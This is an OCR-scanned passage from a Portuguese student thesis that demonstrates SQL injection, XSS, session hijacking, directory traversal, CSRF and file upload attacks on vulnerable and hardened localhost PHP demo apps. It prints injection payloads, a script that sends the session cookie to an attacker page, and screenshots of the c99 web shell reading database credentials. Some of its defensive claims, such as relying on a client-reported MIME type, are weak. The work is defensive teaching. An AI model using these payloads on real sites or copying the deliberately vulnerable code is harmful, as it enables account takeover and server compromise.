documento de texto do MS Word (.doc ou .docx). Em primeiro lugar, o diretério onde
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sdo salvos os curriculos, contém um arquivo .htaccess (Hypertext acccess), que
consiste em um arquivo de configuracéo a nivel de diretdrio do servidor apache. Este
arquivo contém configuracdes referentes a listagem de arquivos, permitindo apenas
a listagem via protocolo HTTP de arquivos com extensao .doc ou .docx. A Figura 14
evidencia o cddigo .htaccess utilizado.

deny from all

«Files ~ "™\w+h. (doc|docx) 5"
order deny,allow
allow from all

</Files>

Figura 14 — Cddigo .htaccess utilizado na Aplicacao B para file upload attack.
Fonte: Autor.

Complementando a listagem de arquivo, a Aplicacdo B contém a validacdo do
tipo de arquivo que o usudrio envia ao servidor, atraves da verificacdo do tipo MIME
(Multipurpose Internet Mail Extensions), que € uma norma da internet para o formato
das mensagens de correio eletronico, contendo a categoria e o tipo do arquivo
(MIME, 1996). Foi autorizado entdo apenas o tipo MIME application/msword, ou

seja, arquivos aceitos pelo Microsoft Word, Figura 15.
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< ?php
Sdiretorio = "curriculos/":
fi/recebe curriculo wia POST
fcurriculo = § FILES(['curriculo'];
Jj/werifica MIME Type
if (Scurriculo["type'] '= "application/maword"™)
echo "Desculpe, apenas documentos do tipo .doc e .docx
ko aceitos.<br /»";
exit;
}
J/move curriculo para diretorio
if (move uploaded file(fcurriculo['tmp name'], Sdiretorio
Scurriculo['name"]))
echo "Curriculo enviado com sucesso.";
} elae {
echo "Ccorreu um erro, tente novamente.™;
}
7
]

Figura 15 — Cadigo utilizado na Aplicagdo B para file upload attack.
Fonte: Autor.

3.4 SESSION HIJACKING

O exemplo de session hijacking complementa o ja citado exemplo de XSS,
onde foi utilizado as mesmas aplicacdes. Ou seja, um formulario de pesquisa em
uma area restrita da aplicacdo, em que a vitima de alguma forma é atraida a uma
URL contendo injecdo de JavaScript, este JavaScript, envia automaticamente no
carregamento da pagina, a variavel JavaScript document.cookie, variavel que
armazena dados de cookies e sessdes, no caso os dados da sesséo ativa criada no
momento em que a vitima efetua seu login na aplicacdo e recebe acesso a area
restrita.

A aplicacdo de session hijacking foi incrementada com um formulario de login
em HTML, que trata e verifica a autenticidade do mesmo, e entédo salva um array na
sessdo com nome ‘logado’, este array contém informagdes do usuario como nome,
nome de usudrio, ultimo login. Assim que o usuario vélido é confirmado, a pagina é

redirecionada a uma &rea restrita, com mensagem de boas-vinda.
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Para ambas aplicagcbes (A e B) foram utilizados o mesmo cédigo para
verificagcdo da existéncia de uma sesséo valida, Figura 16.

< 2?php
if ('isset (§ SESSION['logado'])){
header ("Location: login.php'):
exit;

>

Figura 16 — Cadigo utilizado nas Aplicagcfes A e B para session hijacking.
Fonte: Autor.

Caso exista a sessao ‘logado’, o usuario visualiza normalmente o contetdo da
pagina restrita, caso contrario ele é direcionado a pagina de login para iniciar uma

sessdao, Figura 17.

Demonstracao Session Hijacking

Usuario:

Senha:

Entrar

Figura 17 — Pagina de login para teste de Session Hijacking.
Fonte: Autor.

3.4.2 APLICACAO A

A Aplicacdo A utiliza as configuracbes padrdes do servidor APACHE, e é
também vulneravel a injecbes XSS pelo formulario de pesquisa, como evidenciado

na demonstragdo de XSS.

3.4.3 APLICACAOB

A Aplicacdo B contém configuracbes adicionais de seguranca do PHP,

adicionadas no arquivo php.ini localizado em I:\\xampp\php\php.ini, Figura 18.
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- Locais || php.ini Arquivo INI 77 KB

.| php.ini-development Argquivo INI-DEVE... 68 KB

7 Bibliotecas || php.ini-producticn Arquivo INI-PROD.., 68 KB

Figura 18 — Localizagao do arquivo de configuragcdo do PHP.
Fonte: Autor.

Neste arquivo foram adicionadas as seguintes configuracdes, dentro da

categoria [Session], Figura 19.

session.sesszsion.use only cookies = 1

session.cookie_secure = 1

Figura 19 — Configuragdo php.ini para session hijacking.
Fonte: Autor.

Segundo PHP, session.use_only_cookies especifica se o mddulo usara
apenas cookies para guardar a ID da sessdo no lado do cliente. Habilitando esta
configuracdo previne ataques envolvendo passagem de IDS de sessdo em URLs. E
a funcéo session.cookie_secure especifica que os cookies sejam apenas enviados

sob conexdes seguras.

3.5 DIRECTORY TRAVERSAL

A fim de demonstrar o funcionamento de um ataque Directory Traversal,
foram desenvolvidas duas aplicagdes (A e B), na forma de template simples (layout),
ou seja, um cabecalho e rodapé fixos, na qual as paginas sao carregadas
dinamicamente e identificadas via URL por seu nome do arquivo HTML
correspondente, Figura 20. Esta variavel é recebida via HTTP-GET, denominada
arquivo, e inclusa na aplicacao através da funcdo PHP include, Figura 21.

C | [4 tcostraversal.php?arguivo=conteudo.html | ‘

Figura 20 — URL carregando pagina HTML por nome.Fonte: Autor.
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Demonstracio Directory Traversal

Directory Traversal - Este & um template exemplo que inclui um arquive do servidor

Resultado da execucio

Caminho incluso: "I:\xampp\htdocs\tcc\conteudo.html"

| PAgina de Conteudo

i Esta é uma pdgina HTML teste, inclusa via PHP para demonstrar o funcionamento de um sistema
i baseado em templates, acima temos o header que se repete em todas as paginas, trocando apenas este |
i contetid interno... |

E senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat witae, ultricies eget, tempor 31!:5
E amet, ante. Donec eu libero sit amet gQuam egestas semper. Asnesn uliricies mi vibtas est. Mauris placerat eleifend lec.i
i Quisque sit amet est et sapien ullamcorper pharetra. Vestibulum erat wisi, condimentum sSed, commodo vitae, OFrnare 3it amet,i
E wisi. Aenean fermentum, elit eget tincidunt condimentum, erocs ipsum rutrum orci, sagittis tempus lacus enim ac dui.

in turpis pulvinar facilisis. Ut felis.
! Header Level 2

1. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.

2. Aliguam tincidunt mauris eu risus.

Figura 21 — Resultado de inclusédo da pagina ‘conteudo.html’ no template.
Fonte: Autor.

3.5.1 APLICACAO A

A Aplicacdo A, referencia diretamente o parametro recebido via URL para a

variavel arquivo, incluindo a prépria, para ser exibida na tela, Figura 22.

<7?php

farquivo = § GET['"argquivo']:

include ($arguivo) ;

7

Figura 22 — Incluséo de arquivo sem tratamento.
Fonte: Autor.

3.5.2 APLICACAO B

A Aplicacdo B, antes de incluir a suposta pagina contida na variavel arquivo,
utiliza a funcao PHP basename, fungdo responsavel por retornar 0 nome base de

um arquivo através de seu caminho absoluto (PHP, 1999).
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Ao incluir, verifica-se também a existéncia do arquivo, caso nao seja

encontrado € exibida uma mensagem de erro personalizada, Figura 23.

<?php
Farguivo = 5 _GET['arguivo'];
if( 'finclude (hasename (farguivo) ) {
echo “404 Pdgina ndo encontrada.”:

7

Leve

Figura 23 — Inclusdo de arquivo com tratamento de existéncia e caminho do arquivo.

Fonte: Autor.

3.6 CROSS SITE REQUEST FORGERY

Cross Site Request Forgery é a vulnerabilidade mais presente nas aplicagcbes
e menos conhecida pelos desenvolvedores. Porém, um ataque através desta
vulnerabilidade é bem trabalhoso, e necessita que o atacante atraia sua vitima para
uma pagina sua, e ainda que a vitima esteja devidamente autenticada na aplicacao
que sera alvo do ataque.

Para isto, foram desenvolvidas duas aplicagGes, contendo um painel de
usuério simples que chamaremos de “Aplicacdo Legitima”, onde neste painel ha
uma pagina “Minha conta”, Figura 24, responsavel por fazer alteracbes nas
informagBes do usuario, como nome, email, endereco, senha, etc. Estas alteracdes
séo feitas via formulario POST e necessitam autenticagdo via formulério de login,
Figura 25.

Ambas aplicagdes possuem implementagdes de seguranca para as demais

vulnerabilidades citadas.



0 Jtec/csrf/minhaconta.php
= C [} localhost/tcc/csrf/minhaconta.ph

Demonstracao Cross Site Forgery Request

Bem vindo, Administrador altere abaixo suas informacédes.

Nome
admin
Email
emailvalido@email.com.bi

Senha
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Figura 24 — Minha conta, pagina para gerenciar informa¢des do usudario.

Fonte: Autor.

<« C' | [0 localhost/tec/csri/loginphp

Demonsiracao Session Hijacking

Usuario:
Senha:

Figura 25 — Formulario de login em HTML para vulnerabilidade Cross Site Request Forgery

Fonte: Autor.

3.6.1 APLICACAO A

Aplicacao A foi escrita como a grande maioria dos sistemas atuais, através do

envio de dados via POST, é feita as validagdes das credenciais do usuario, para

entdo atualizar os registros em banco.

Na pé&gina ‘Minha Conta’ ha a verificagdo da existéncia de sessédo de usuario,

caso contrario, redireciona o usuério a pagina de login, conforme Figura 26.



<?php

zesgion_start|():

if (!is=et (% SESSION['logado'])){
header ("Location: login.php'):
exit;

7>

Figura 26 — Verificacdo de sessao do usuario.

Fonte: Autor.
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Para a alteracdo dos dados, fora utilizado cédigo com confirmacbes e

tratamento de sentencgas, contra SQL Injection e outras inje¢des, Figura 27.

< ?php

if (coumnt (% POST)){

£Label = Spdo-»prepare|'INSERT INTO usuario (nome,email) WVALUES (?,%2,72)"):
fLabel->bindValue (1,5 POST['nome']):

fLabel->bindValue (2,5 _POST['email']):

$Label-»execute () ;

echo "Dados atualizados com sucesso.";

die():

b

Fi

Figura 27 - Cédigo da alteracdo dos dados de usuario, com confirmacdo e tratamento de sentencas

para bloquear SQL Injection e outras injecdes, vulneravel a CSRF.

Fonte: Autor.

3.6.2 APLICACAO B

Para a Aplicacéo B, foi integrado um sistema CAPTCHA, Figura 28, que

[N

uma implementagdo de seguranca desenvolvida em PHP, que forca o usuario a

identificar letras de uma imagem distorcida, provando assim ser uma pessoa real.

Para esta aplicagcdo foi implementado o sistema CAPTCHA Securimage

(PHPCAPTCHA, 2012).
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Demonstracao Cross Site Request Forgery

Bem vindo, Administrador altere abaixo suas informacdes.
Nome
|admin

Email

Senha

Digite o texto acima

Figura 28 — Sistema CAPTCHA em formulario de alteracéo de dados.

Fonte: Autor.

Fora utilizado o mesmo codigo de verificagdo das credenciais de login que a

aplicacao A. E o cdédigo, Figura 29, para realizar a alteracao dos dados de usuario.



< ?php

if (count(§_POST)){

SLabel = Spdo-»prepare('INSERT INTO usuario (nome,email) WALUES (7,72,7)'"):
$Label->bindValue (1,5 POST['nome"]):

$Label->bindValue (2,% POST["email']);

/{ Blogueio C3RF

quuire_once('3ecurimagei3&curimage.php'j;

fimage = new Securimage():

Jfi{werifica =e captcha & wvalido

if ($image->check($ POST['captcha']) == true)
Label-»execute () ;
echo "Dados atualizados com suceszso.";
die():

} else
echo "Cédigo incorreto, favor redigite o codigo.™;
die():

}

7=

Figura 29 - Alteracdes de dados com implementacédo de sistema CAPTCHA, bloqueando CSRF.

Fonte: Autor.
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4 RESULTADOS

Para cada vulnerabilidade citada, foram desenvolvidas aplicacdes praticas e
funcionais a fim de demonstrar a acdo de um proveniente atague, e suas
comprovadas formas de defesa. A seguir os resultados para cada ataque

proveniente de uma vulnerabilidade web.

4.1 SQL INJECTION

As aplicagBes A e B possuem como dados validos para autenticac@o o
nome de usuario admin e a senha adminsenha, que garantem o0 acesso a
aplicagdo como mostra a Figura 30 o formulério de login construido em HTML.

A Figura 31, demonstra o resultado de execugdo ao utilizar os dados
validos citados anteriormente, este resultado contém o usuario digitado, a senha
criptografada em MD5, a query SQL executada no banco e a resposta da
autenticacdo, neste caso o resultado é garantido com sucesso. Conforme Figura 32,
foram inseridos dados invalidos para usuario e senha, admin e senhaerrada

respectivamente, e o resultado demonstra a autenticagcdo nao sucedida.

Demonstracao SQL Injection

Usuario: admin
Senha: R—
| Entrar |

Figura 30 — Formulario de login HTML.

Fonte: Autor.

Resultado da execuciao

0:45:14 {(USURRIO) ~: admin
0:45:14 (SENHA) ~: adminsenha — MD5 (714df522976a6l866bcfb7E8084b3e779)

0:45:14 (QUERY) ~: SELECT * FROM usuario WHERE usuario ="admin®' AND senha = md5("adminsenha') LIMIT 1

> 10:45:14 (RESULTADO) ~=

Figura 31 — Resultado de execucao utilizando dados validos.

Fonte: Autor.
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Resultado da execucao

:48:51 (USUARIQ) ~: admin

51 ({SENHA)~: senhaerrada — MDS (l186c83a45e5f38%df59f75a5c561c70)

51 (QUERY¥) ~: SELECT * FROM usuario WHEPRE usuario ="admin' AND senha = md5 ('senmhaerrada') LIMIT 1

8:51 (RESULTRADOQ) ~:

Figura 32 — Resultado de execucdao utilizando dados invalidos.

Fonte: Autor.

Para SQL Injection, foram simulados dois diferentes ataques nas aplicagcdes A
e B.

4.1.1 ATAQUE 1

Assumindo que o atacante desconheca qualquer dado da tabela ou dos
usuérios, como nome de campos, ou um nome de usudrio valido por exemplo. Para

isto foi inserido no campo usuério a inje¢édo ‘ or 1=1;--, Figura 33.

Demonstraciao SQL Injection

Usuario: or 1=1-|
Senha:

| Entrar |

Figura 33 — Simulacao de injecdo SQL 1.

Fonte: Autor.

4.1.1.1 APLICACAO A

Ao receber o pardmetro ‘ or 1=1-- para 0 campo usuério, a aspa no
inicio da sentenca fechou a string relativa ao nome de usuério e inseriu-se uma
condigdo (ou 1=1) que sempre sera verdadeira, porém sé esta condicéo retornaria
falsa, pois a validacdo de senha ainda estava ativa, entdo ao adicionar os dois
tracos no final da sentengca todo o resto da query e suas condigdes foram
comentadas e ignoradas pelo banco (Figura 35), resultando na seguinte sentenga

que sempre retornara verdadeira, Figura 34.
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SELECT * FROM ysuario WHERE ysuario =~ OR 1=1}

Figura 34- Query SQL com injecao de condi¢cao sempre verdadeira.

Fonte: Autor.

No caso da selecdo de usuario, Figura 34, a consulta resulta no primeiro
registro encontrado na tabela usuario, um registro que poderia nNao possuir
privilégios administrativos, podendo ser um usuario comum do sistema, porém

certamente garante um acesso ndo autorizado a aplicagdo.

Resultado da execuciao

0:55:20 (USUARIO) ~: ' or 1-1——

SENHA) ~: — MD5S (d4ld8cd®8f00b204e38009%8ecfBd2Te)
QUERY) ~: SELECT * FROM usuario WHERE usuario ="" or 1=1-— " AND senha = md5("") LIMIT 1

> 10:55:20 (RESULTADO] ~:

Figura 35 — Injecdo SQL bem sucedida, acesso garantido com o primeiro registro da tabela.

Fonte: Autor.

4.1.1.2 APLICACAO B

Jé na aplicacéo B, ao receber como pardmetro de usuério a injecéo ‘ or 1=1--
a funcdo do PDO prepare, prepara esta string para uma sentenca SQL valida,
através de diversos testes e validacdes confirmadas que evitam e blogueiam
qualquer tipo de injegdo SQL, segundo PHP “Se um aplicativo usa exclusivamente
instrugbes preparadas, o desenvolvedor pode ter certeza de que ndo ira ocorrer a
injecdo de SQL.".

A Figura 36 confirma que a utilizagéo de instru¢cGes preparadas evitam com
sucesso injegcBes de SQL. Nota-se que na query originada do método preparado,
nédo ha o fechamento da comparacdo no campo usuario, pois o PDO escapa a aspa
digitada, adicionando barra invertida (\) na frente, fazendo com que a sentenca seja
reconhecida pelo SQL como uma string e ndo como um comando ou instrugéo SQL.
N&o criando entdo a comparacdo 1=1, nem comentando o restante da sentenca,
esta entdo é verificada como deveria e resulta em uma autenticagdo ndo sucedida,

bloqgueando com sucesso o ataque.



Resultado da execuciao

:27:47 (USUARIO)~: " or 1=1;—
7:47 (SENHA) ~: — MDS5 (d41dBcd28f00b204e238009%8ecfid2Te)

7:48 (RESULTADO) ~:

T:48 (QUERY) ~: SELECT * FROM usuario WHERE usuarioc ="%" or 1=1;-—— " AND senha = mdS5("")

Figura 36 — Bloqueio do Ataque 1 com escape e tratamento das entradas.

Fonte: Autor.

4.1.2 - ATAQUE 2
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No Ataque 1 assumiu-se gue o atacante nao tenha conhecimento de nenhum

nome de usuario da aplicacao, resultando assim na autenticacéo do primeiro registro

da tabela, um usuério que pode n&o conter privilégios administrativos, o que

resultaria em menores danos. J4 o Ataque 2, assumiu-se que o atacante tenha

conhecimento através de tentativa e erro ou outros métodos ndo digitais da

existéncia do nome de usuério admin, este contendo total controle da aplicagcéo e

privilégios ilimitados.

Foi inserido no campo usuario a inje¢do SQL admin’--, Figura 37.

Demonstracao SQL Injection

Usuario: admin’— |

Senha:

| Entrar |

Figura 37 — Simulacao de injecédo SQL 2.

Fonte: Autor.

4.1.2.1 —-APLICACAO A

Ao receber o parametro admin’-- para 0 campo usuario, a aspa apoés o

termo admin fecha a string relativa ao nome de usuario, e entdo ao adicionar os dois

tracos no final da sentengca todo o resto da query e suas condi¢cdes foram

comentadas e ignoradas pelo banco, Figura 39, resultando na seguinte sentenca

que tras o registro referente ao usuario admin, Figura 38.
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SELECT * FROM ysuamo WHERE usyaro = ‘admin’

Figura 38 — Query SQL com injecao, resultando no usuario admin.

Fonte: Autor.

Resultado da execucao

0:50:26(USUARIO) ~: admin'—
6 (SENHR) ~: — MD5 (d41d8cd38f00b204e3B80099¢

6 (QUERY) ~: SELECT * FROM usuario WHERE usuario ="admin"-— ' AND senha = mdS("") LIMIT 1

» 10:50:26 (RESULTADO) ~=

Figura 39 — Injecdo SQL sucedida, acesso administrativo garantido.

Fonte: Autor.

4.1.2.2 - APLICACAO B

Na aplicagdo B, como no Ataque 1 o método de instrugdes preparadas o PDO
escapou todos os caracteres invélidos para uma sentenca SQL e fez o tratamento
da entrada para ser reconhecida sempre como uma string ndo uma instru¢éo SQL,
adicionando entdo a barra invertida antes da aspa e removendo a tag comentario (--

), tornando assim ineficaz a inje¢éo SQL, Figura 40.

Resultado da execucdo

34256 (USURRIO) ~: admin'-——
:56(SENHA)~: — MD5 (d41d8cd®8f00b204e38009%8eciBd2Te)

34:56 (QUERY) ~: SELECT * FROM usuario WHERE usuario ="admin%'—-— * AND senha = md5("") LIMIT 1

56 (RESULTADO] ~:

Figura 40 — Blogueio do Ataque 2 com escape e tratamentos.

Fonte: Autor.

4.2 CROSS SITE-SCRIPTING (XSS)

As aplicacdes A e B tém como objetivo receber um termo de pesquisa no
formato string, executar a consulta (ndo é o foco da vulnerabilidade), e exibir o

resultado dessa consulta junto com o termo digitado, Figura 41.



Resultado de pesquisa para 'vulnerabilidades":

Figura 41 - Resultado de consulta com termo "vulnerabilidade”.

Fonte: Autor.

4.2.1 ATAQUE
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Foi incluso ap6s o termo de pesquisa um arquivo JavaScript externo. Este

arquivo tem o objetivo de enviar para uma pagina PHP externa pertencente ao

atacante, informagdes como o PHPSESSID (ID de sess&o) automaticamente sem o

conhecimento da vitima, este ID de sessédo podera ser utilizado para efetuar session

hijacking que sera descrito no préximo item. O arquivo incluso é denominado xss.js e

possui 0 seguinte cadigo, Figura 42.

war

xhr.
zhr.

xhr.

xhr.

xhr = new XMLHttpBedgquest () :

open ("POST', 'atague xss.php', true):;

zetRequestHeader ('Content-type', "application/®x-www-form-urlencoded") ;
onload = funection ()

S/ do =zomething to response

consgole.log(this.responseText) ;

zend (" PHPSESSID="+document . cookie)

Figura 42 - Arquivo xss.js, responsavel por enviar ID de sessdo para pagina maliciosa.

Fonte: Autor.

Pelo fato da pagina possuir um formulario do Method GET, os parametros

enviados sao exibidos na URL da mesma.

Para um ataque XSS funcionar, € necessario que a vitima de alguma forma

seja direcionada a esta URL com a injecdo do codigo JavaScript, e esteja logada na

aplicacdo, pois ataques XSS sdo executados client-side ou seja, no préprio

navegador da vitima.
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Para atrair a vitima, pode ser utilizado banners de propaganda com o link
alterado, e-mails falsos, direcionamento através de outros sites, entre outras formas
gue nédo sao o foco da vulnerabilidade em si.

Portanto, o ataque consiste em atrair a vitima para a URL que contém como

parametro ‘termo’ a injecdo XSS, resultando na URL evidenciada na Figura 43.

http#Mocalhosticciss php?termo=vulnerabilidades+<script
Sre="xss.jfs =</script=

Figura 43 - Url com injecao XSS.

Fonte: Autor.

4.2.1.1 APLICACAO A

O resultado do ataque na Aplicacdo A foi como o esperado, a vitima julgou
ser uma URL segura por ter o dominio e credenciais vélidos da aplicagdo em que
costuma logar-se, mas ao entrar nesta URL desconhece o fato de que seu ID de
sessdo foi enviado para um site malicioso, no qual serd armazenado e podera
resultar em futuros ataques de session hijacking. Para a vitima, a pagina de consulta
estqd funcionando normalmente, exibindo os resultados de busca para o termo

‘Vulnerabilidades’, Figura 44.

Resultado de pesquisa para 'vulnerabilidades":

Figura 44 - Resultado da URL maliciosa na visdo da vitima.

Fonte: Autor.

Porém, ao analisar o cédigo fonte e elementos HTML da pagina, encontra-se
0 arquivo JavaScript xss.js incluso ap6s o termo ‘vulnerabilidades’ como pode ser

visto na Figura 45.
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html

<div atyle="widthial%;
<fdiv>
<br></br>
4 edive

Besultado de pesguisa para "vulnerabilidades
<script src="x33.js™x<fscript>

<br»></br>

Figura 45 — Injecdo de cdédigo JavaScript, ataque XSS.
Fonte: Autor.

Ao incluir este arquivo (xss.js), automaticamente ao carregar a pagina, €
realizada uma requisicdo POST via AJAX, que envia os dados da sessédo atual,
Figura 46.

nspecicnar pedido da rede @

»

URL do pedido:  hitpiilocalhostitcc/atague_xss.php
Método do pedido: POST
Codigo do status: HTTP/M.1 200 OK

Mozilla/s.0 (Windows NT 6.1, WOWE4, ne:25.0)
Gecke/20100101 Firefow/25.0

Uzer-Agent:

http:/localhost
Referer: ftcoixzs. php?nome=vulnerabilidades+%3Cscript+src
%30%2Txes 8% 2T % 3E % 3IC W 2Fecript¥%3E

Pragma: no-cache

m

Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-
Length:

Connection: keep-alive

45

Cache-

Controk  "0CAChe

Accept- ) op tq=0.8,en-US:q=0.5 en;g=0.3

Language: PR B o SR |
Accept- .

Encoding: e ol

Accept: text/html, application/=htmi+xml application/xml,g=0.9,%*g=0.5

PHPSESSID: v484kh3vjaijl4siiritmkgds

Figura 46 — Envio do PHPSESSID via AJAX para atacante.

Fonte: Autor.
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Portanto, a aplicagdo A sofreu com sucesso um ataque XSS, e teve suas
informacgdes sigilosas enviadas para um atacante que podera, por meio de outras

técnicas, garantir um acesso nao autorizado e causar prejuizos a aplicagéao.

4.2.1.2 APLICACAO B

O ataque néo foi bem sucedido na aplicacao B, mesmo com a vitima clicando
na URL maliciosa contendo a inclus&o de um arquivo JavaScript, pois ao receber o
termo de busca via formulario GET ou pela URL, o mesmo é tratado e escapado,
tanto os caracteres especiais (ex. aspas e ponto e virgula), como as tags HTML
(ex:tag <SCRIPT> que inclui um novo script JS).

A Figura 47 mostra que a mesma URL maliciosa, ao ser carregada, ndo exibe

0 codigo JavaScript responsavel pelo envio de dados a um servidor externo.

<br></br>
A =div>

Besultado de pesguisa para "vulnerabilidades ":
<br></br>
<hr>/hr>

Figura 47 — Escape das tags HTML e caracteres especiais. XSS ndo sucedido.

Fonte: Autor.

Comprova-se, desta forma, que as funcdes PHP strip_tags e htmlentities
bloqueiam com sucesso inje¢bes XSS, e tornam a aplicacdo segura para receber
entradas do usuario que seréo exibidas na tela.

Notou-se ao longo dos testes das aplicacdes, notou-se que o Unico navegador
em que o ataque de XSS nao funcionou foi o Google Chorme®. ApGs pesquisa
bibliografica (GOOGLE, 2010) descobriu-se que por padrdo o navegador da Google
ja possui verificagdo e bloqueio para injecdes XSS, através do tratamento das URLSs.
Sendo assim, é um navegador seguro e recomendado para navegacao em sites que

possam ser vulneraveis a ataques XSS.
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4.3 FILE UPLOAD ATTACK

Existem inlmeros arquivos, que enviados a um servidor web através de uma
brecha de seguranca, podem causar danos, vazamento de informacdes e
comprometimento da aplicagdo. Entanto, poucos podem ser tdo prejudiciais quanto
o envio do arquivo hacker conhecido como shellc99.php, este arquivo € um sistema
desenvolvido em PHP que simula um FTP, exibindo arquivos e diretorios do
servidor, e possibilitanto a visualizacdo, alteracédo e exclusdo dos mesmos, além de
novos uploads e até execugdes de comandos (Linux).

As aplicagbes A e B tém como objetivo o cadastro e upload de curriculos no formato
documento de texto do Microsoft Word (.doc ou .docx), para o dono da aplicagao

poder baixé-los via URL, Figura 48.

&« C | [ localhost/tcc/curriculos/tccdoc

Demonstracao File Upload Attack

Envie seu curriculoe:

|£'I_] tee (1).doc 2

Figura 48 — Download de curriculo via URL.

Fonte: Autor.

4.3.1 ATAQUE

A simulacdo de ataque para esta vulnerabilidade, foi, 0 envio do ja citado
arquivo shellc99.php para ambas aplicacdes, Figura 49. Caso o envio seja bem
sucedido, o atacante precisaria através de tentativa e erro, descobrir o diretério em
que o arquivo foi salvo, no caso das aplicagdes testadas, foram salvos no diretério

curriculos.
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Demonstracao File Upload Attack

Envie seu curriculo:

Escolher argquivo | shellc99 php

Figura 49 — Upload de arquivo shellc99.php através de formulario HTML.

Fonte: Autor.

4.3.1.1 APLICACAO A

Por n&o conter nenhuma verificagéo de tipo do arquivo, o arquivo shell99.php

foi enviado com sucesso na aplicacdo A, Figura 50.

= C | [4 localhost/tcc/upload.php

Curricule enviado com sucesso.

Figura 50 — Envio de arquivo shell99.php bem sucedido.

Fonte: Autor.

Deduzindo que o atacante descubra através de tentativa e erro o diretério em
que o arquivo foi salvo, o resultado foi controle total do cédigo fonte da aplicacéo.
Ao acessar a URL http://localhost/tcc/curriculos/shell99.php o atacante acessa o

‘FTP’ da aplicacédo , Figura 51 e Figura 52.



49

Software: Apache/2.4.4 (Win32) OpenSSL/0.9.8y PHP/5.4.19

@ c99Shell v. 1.0 beta

uname -a: Windows NT WILLTAMCASTRO 6.1 build 7600 (Windows 7 Ultimate Edition) i586
SYSTEM

Safe-mode:

I:\xampp\htdocs\ tcc\curriculos\
Free 15.93 GB of 48.83 GB (32.62%)
Detected drives: [a]

R - ]

[h1Li]

Encoder Bind Proc.

= Make Dirz:
I:wamppihtdocs\teoiaurmiaos|

= Go Dir =z

FTP brute Sec. SQL PHP-code Feedback Self remove Logout

Owned by hacker

Listing directory (2 files and 0 directories):

:: Command execute ::

H |Beate

Escolner arquive

:: Make File ::
I:Yampphtdocsitec\auriudos\

: Go

With selected: [ | Confirm

I:\xampphidocs tec\aurriculos\ 1:\uamw\mdm\tcc\mr;\m i\

—-[ c89shell v. 1.0 beta (21.05.2005) powered by Captain Crunch Security Team | | Generation time: 0.069 ]--

Figura 51 - Shellc99 em execucéo, listagem de arquivos e diretdrios.

Fonte: Autor.

Listing directory (5 files and 11 directories):

>
2
g
3

Perms

2m
om
LN |
Uil |
Q=
o
LN |
o
o
LN |
on
Ll |
Om
or
or
(il
or
o

Figura 52 - Diretério de aplicacao teste listado pelo script Shellc99.

Fonte: Autor.

Através do sistema Shell foi possivel visualizar o arquivo de configuracdo que

contém todos os dados de conexéo da aplicacao, Figura 53.
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Viewing file: conexao.php (730 B)
Select action/file-type:

5 ()l O o O g O O TR (T () ] g (I () TR

elass Conexao extends DDO |

private static sinstancia;

public function Conexzol$dsn, Susernzme = "V, 3p xd = " ]
// 0 construtro abaixo T® o do PDO
parent::_ COnSTruct (3dsn, susername, spassword);
i3
public static function getInstanced) {
/f Se'o a instancia nTdo existe eu faT§o uma
if (ligset| self::finstancia )){
try |
gself::$instancia = new Ceonexac("mysqgl:hcst=lccalhost;dbname=notas™, "reoot™, "");
} catch ( Exception $e ) {

echo 'Erro ac comectar';
exit ():
1
i =
£f Be jTV existe instanciz na memliria eu retorno sla
return self::Sinstancia;

:: Command execute ::

Figura 53 - Arquivo conexao.php, contendo dados de conexdo com a base de dados, listado pelo
script Shellc99.

Fonte: Autor.

A aplicacdo A ao aceitar o envio do arquivo de extensdo PHP, tornou-se
totalmente vulneravel, com potencial de prejuizo total, pois o atacante tem acesso a
todo o cddigo fonte da aplicacdo, e a possibilidade de altera-los sem restricbes,
podendo assim furtar,divulgar e colher novas informagdes sigilosas

indiscriminadamente.

4.3.1.2 APLICACAO B

Utilizando-se do resultado da Aplicagdo A, assumindo que o0 arquivo
shellc99.php j& tenha sido, ou ja exista no diretério curriculos, as configuracdes
contidas no arquivo .htaccess criado no diretdrio curriculo da Aplicacdo B, bloqueiam
a listagem e o0 acesso desse arquivo via navegador, ou seja, mesmo sendo possivel
0 envio do arquivo malicioso, 0 atacante ndo pode acessar e executar 0 arquivo no

servidor, Figura 54.
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L C | [ localhost/tcc/curriculos/shellc99.php

Acesso Proibido!

Vocé nfo tem permissdo para acessar o objeto requisitado. Ele pode estar protegido contra leitura ou nfo ser legivel pelo servidor.

Se vocé acredita ter encontrado um problema no servidor, por favor entre em contato com o webmaster.

Error 403

localhost
Apache/2 4.4 (Win32) OpenSSL/0.9.8y PHP/5.4.19

Figura 54 — Bloqueio .htaccess, acesso permitido apenas para arquivos de extensao .doc ou .docx.

Fonte: Autor.

Apenas esta implementacdo de seguranga ainda nédo seria o suficiente, pois
arquivos maliciosos ainda poderiam ser enviados ao servidor. A verificagdo do tipo
MIME do arquivo enviado na Aplicagéo B, garantiu um upload seguro para arquivos
do tipo application/msword (.doc, .docx), bloqueando as demais extensbes de

arquivo (como .php do ataque em questdo) com sucesso, Figura 55.

“~ | [ localhost/tcc/upload.php

Desculpe, apenas decumentos do tipo .doc e .decx s3o0 aceitos.

Figura 55 — Bloqueio de extensdes nado permitidas no momento do upload.

Fonte: Autor.

4.4 SESSION HIJACKING

Existe um complemento para navegadores como Mozilla Firefox e Google
Chrome denominado Cookie Editor, se trata de um gerenciador de cookies. Onde

pode-se adicionar, excluir, editar, procurar, proteger e bloquear cookies.

4.4.1 ATAQUE

Foi simulado o ataque, levando-se em conta que o atacante ja possua o valor

da sessdo (PHPSESSID), que pbde ser obtido de diversas formas, como links
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maliciosos, codigos XSS, entre outros. Este exemplo complementa o ataque XSS,
em que o atacante recebe através de uma requisicdo AJAX, o PHPSESSID (ID de
sessdo) ativo na maquina da vitima. Com este PHPSESSID em maos, utilizou-se a
extensdo Cookie Editor para modificar o valor de sessédo que é automaticamente
criada no carregamento da pagina. Para isto foi utilizada uma janela normal do
navegador, demonstrando uma autenticagdo bem sucedida com dados reais de login
, Figura 56 e Figura 57, esta sessdo valida resultou em um valor do PHPSESSID

igual a “mgp7scrvj2h9d3hos2pnn54vpl”.

Demonstracao Session Hijacking

Usuario: admin
Senha: |eeeesssasd |

Figura 56 — Autenticacdo com dados validos admin e adminsenha.

Fonte: Autor.

T Deseja gue o Google Chrome salve a sua senha? | Salvar senha ‘ ‘ Munca para este site

Demonstraciao Session Hijacking

Bem vindo, Administrador voceé esta logado na area

restrita.

Figura 57 — Mensagem de boas vindas para usuario admin.

Fonte: Autor.

Para o ataque em si, foi utilizada uma nova janela anénima do navegador,
